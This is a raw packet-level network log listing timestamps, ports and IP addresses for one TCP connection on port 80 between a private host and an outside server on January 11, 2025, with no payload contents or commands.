Jan 11, 2025 04:48:18.994515896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.994533062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.994549990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.994858027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.020451069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.023756027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.027548075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.027580023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.027595997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.027626991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.027652025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.032459021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.059838057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059865952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059881926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059896946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059921026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059936047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059946060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059959888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059967995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.059983015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.059984922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.060049057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.073914051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.073934078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.073951960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.073967934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.073985100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.074031115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.074069977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.093394995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093411922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093436956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093451977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093466997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093480110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.093482018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093499899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093522072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093537092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093553066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093564034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.093564987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.093595982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.093620062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107429981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107446909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107470036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107485056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107501984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107516050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107539892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107583046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107597113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107614040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107620955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107636929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107637882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107650995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107675076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107729912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107744932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107759953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107765913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107798100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107837915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107853889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107887030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.107966900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107980967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.107996941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108011961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108019114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108036041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108043909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108050108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108066082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108081102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108082056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108114004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108230114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108244896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108261108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108275890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108277082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108289957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108309031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108431101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108445883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108467102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108472109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108486891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108504057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108509064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108552933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108632088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108645916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108661890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108694077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108779907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108795881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108810902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108822107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108833075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108849049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108854055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108865976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108880997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108886003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108895063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108911037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108922005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.108926058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.108947039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109208107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109222889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109239101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109255075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109271049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109287024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109288931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109304905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109335899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109392881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109416008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109437943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109438896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109453917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109471083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109474897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109486103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109502077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109508038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.109515905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.109539986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112421036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112435102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112457037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112478018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112493038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112495899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112509012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112524033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112540007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112554073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112562895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112569094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112585068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112590075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112600088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112616062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112647057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112663031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112677097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112684965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112692118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112715006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.112947941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112962961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112986088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.112987995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.113001108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113017082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113029957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.113030910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113058090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.113068104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113084078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113099098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113115072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113120079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.113131046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.113152027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.113223076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.131089926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.146837950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146883965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146900892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146915913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146939993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146955013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146958113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.146970034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.146985054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147000074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147013903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147022009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.147048950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.147083998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147099018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147105932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.147113085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147128105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147142887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.147147894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.147186995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.160756111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160801888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160820007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160840988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.160842896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160857916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160871983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160886049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.160887957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.160948992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.180324078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180344105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180361986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180386066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180402994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180421114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.180428028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180444002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180459023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.180464029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.180486917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.180506945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194390059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194406033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194422007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194468021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194483042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194498062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194529057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194540024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194549084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194564104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194571018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194581032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194633961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194658041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194674015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194690943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194700003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194710016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194732904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194772005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194796085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194804907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194813013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194830894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194849968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194849968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194875956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194885015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194900990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194916964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194926023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194941044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194963932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194964886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.194979906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.194991112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195005894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195005894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195020914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195036888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195049047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195061922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195075989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195079088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195094109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195110083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195122004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195138931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195153952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195157051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195169926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195187092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195189953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195211887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195226908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195229053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195249081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195255995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195266008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195280075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195296049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195307970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195327044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195332050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195343018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195357084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195373058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195379972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195399046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195406914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195414066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195427895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195442915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195450068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195457935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195478916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195486069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195502996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195523977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195532084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195554972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195568085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195569992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195585012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195600986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195605993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195637941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195682049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195697069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195712090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195729971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195734978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195750952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195765018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195770979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195781946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195796013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195801020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195811987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195828915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.195830107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.195863008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.213968992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214041948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214093924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214102030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214150906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214194059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214205027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214242935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214282036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214293957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214328051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214364052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214369059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214413881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214447021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214457989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:19.214497089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214526892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:19.214550018 CET	49730	80	192.168.2.4	193.143.1.205
